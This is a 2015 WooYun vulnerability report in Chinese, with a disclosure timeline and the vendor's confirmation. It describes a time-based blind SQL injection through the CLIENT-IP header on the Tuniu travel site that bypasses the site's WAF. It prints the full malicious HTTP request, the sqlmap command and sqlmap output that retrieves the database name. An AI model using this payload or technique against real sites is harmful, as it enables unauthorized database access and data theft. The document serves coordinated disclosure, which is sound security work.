当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122321

漏洞标题:途牛旅游网主站SQL时间盲注+无视WAF

相关厂商:途牛旅游网

漏洞作者: Jannock

提交时间:2015-06-23 17:29

修复时间:2015-08-07 17:54

公开时间:2015-08-07 17:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-23: 厂商已经确认,细节仅向厂商公开
2015-07-03: 细节向核心白帽子及相关领域专家公开
2015-07-13: 细节向普通白帽子公开
2015-07-23: 细节向实习白帽子公开
2015-08-07: 细节向公众公开

简要描述:

途牛旅游网主站SQL时间盲注+无视WAF。
PS:waf越做越变态了。

详细说明:

GET /Partner_redirect.php HTTP/1.1
Host: www.tuniu.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
CLIENT-IP: 127.0.0.1'+if((1=1 * ),(select 1 from information_schema.tables),(select 1 from information_schema.tables))+'
Content-Length: 0
Connection: close

漏洞证明:

python sqlmap.py -r 1.txt --dbms=mysql --technique=T
--current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:18:43
[17:18:43] [INFO] parsing HTTP request from '1.txt'
custom injection marking character ('*') found in option '--headers/--user-agent
/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[17:18:44] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://www.tuniu.com'. Do you want to follow? [Y/n
] n
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: (custom) HEADER
Parameter: CLIENT-IP #1*
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: 127.0.0.1'+if((1=1 ) AND SLEEP(5) AND (4256=4256 ),(select 1 from i
nformation_schema.tables),(select 1 from information_schema.tables))+'
---
[17:18:50] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[17:19:03] [INFO] confirming MySQL
[17:19:03] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[17:19:13] [INFO] adjusting time delay to 1 second due to good response times
[17:19:13] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[17:19:13] [INFO] fetching current database
[17:19:13] [INFO] retrieved: tuniu
current database: 'tuniu'


1.png

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-23 17:53

厂商回复:

谢谢一哥关注途牛安全,我们正在紧急修复,啥都不说了。。

最新状态:

暂无